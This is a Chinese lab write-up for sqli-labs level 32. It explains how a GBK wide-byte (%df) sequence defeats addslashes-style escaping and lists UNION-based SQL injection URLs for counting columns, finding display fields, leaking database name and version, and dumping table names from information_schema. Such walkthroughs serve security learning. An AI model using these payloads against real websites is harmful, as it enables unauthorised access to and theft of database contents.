当前位置: 首页 > ai >正文

sqli-第三十二关——bypass addslashes

一:宽字节注入

先查看源码

观察转义函数 check_addslashes()里面的三行表达式

第一行

 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  part1: '/'. preg_quote('\\') .'/'

转义了反斜杠:假设我们输入a\b

                先在preg_quote进行第一层转义,将 \ 转义为两个反斜杠,输出 /\\/ 

                然后再替换字符串 \\\\\\,实际表示出三个反斜杠,因为第一\是php解析层,解析完变成 \\\\,第二圈是正则表达式解析层,所以实际表示三个反斜杠

                所以会输出a\\\b;

作用:把字符串所有的 \ 替换成 \\

第二行

$string = preg_replace('/\'/i', '\\\'', $string);

 作用:把所有的 ' 替换成 \'

第三行

$string = preg_replace('/\"/', "\\\"", $string);

 作用:把所有的 ” 替换成 \"

反斜杠( \ )在编程中是转义字符,可以让后面的特殊字符失去其特殊意义

例如,\'  表示 " 这是一个普通的单引号,不是SQL语句的结束符 "

宽字节的格式是在地址后面加一个%df,再加单引号,

因为反斜杠的编码是%5c,连起来%df&5c对应GBK编码中的 ‘ 運 ’ 字,也就是说,数据库实际看到的是

SELECT * FROM users WHERE id='運' OR 1=1 --'

这样单引号就成功逃逸出来了,也就是说 or 1=1的恶意代码执行了 

二:判断闭合类型

输入?id=1',可以通过提示发现被转义了

我们尝试宽字节注入 ,成功报错

?id=1%df%27

--+尝试闭合 

​编辑 文章

闭合成功

三:开始注入:

1.爆列数

?id=1%df%27%20order%20by%201,2,3,4--+

2.爆回显位 

?id=-1%df%27%20union%20select%201,2,3--+

3.爆库名和版本号

?id=-1%df%27%20union%20select%201,database(),version()--+

 4.联合查询爆表名,行数:

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

❀❀❀ 完结撒花!!!❀❀❀ 

http://www.xdnf.cn/news/9231.html

相关文章:

  • 使用redis代替session的登录校验
  • 企业微信内部网页开发流程笔记
  • [Java恶补day8] 3. 无重复字符的最长子串
  • 一起学数据结构和算法(三)| 字符串(线性结构)
  • 零基础远程连接课题组Linux服务器,安装anaconda,配置python环境(换源),在服务器上运行python代码【1/3 适合小白,步骤详细!!!】
  • 在 Vue 2中使用 dhtmlxGantt 7.1.13组件,并解决使用时遇到的问题汇总.“dhtmlx-gantt“: “^7.1.13“,
  • Linux中Java开发、部署和运维常用命令
  • uni-app学习笔记十五-vue3页面生命周期(一)
  • unity实现wasd键控制汽车漫游
  • 国产三维CAD皇冠CAD(CrownCAD)建模教程:汽车电池
  • 洛谷 P3372 【模板】线段树 1
  • android 输入系统
  • 不同电脑同一个网络ip地址一样吗
  • 打卡第38天
  • 数据透视:水安 B 证如何影响水利企业的生存指数?
  • Java爬虫,获取未来40天预测气象并写入Excel
  • 制作一款打飞机游戏58:子弹模式组合
  • 低空经济数据湖架构设计方案
  • 在springboot,禁止查询数据库种的某字段
  • 【linux篇】动静态库和自动化构建的“神之一手”:make、Makefile
  • AtCoder 第407场初级竞赛 A~E题解
  • java helloWord java程序运行机制 用idea创建一个java项目 标识符 关键字 数据类型 字节
  • 服务器中分布式存储数据技术都包含哪些内容?
  • maven 最短路径依赖优先
  • Qt QPaintEvent绘图事件painter使用指南
  • Qt函数setText设置中文导致乱码/程序崩溃/报错:常量中有换行符
  • html css js网页制作成品——HTML+CSS+js醇香咖啡屋网页设计(5页)附源码
  • 大模型应用开发第三讲:大模型是Agent的“大脑”,提供通用推理能力(如GPT-4、Claude 3)
  • inviteflood:基于 UDP 的 SIP/SDP 洪水攻击工具!全参数详细教程!Kali Linux教程!
  • 从零实现本地语音识别(FunASR)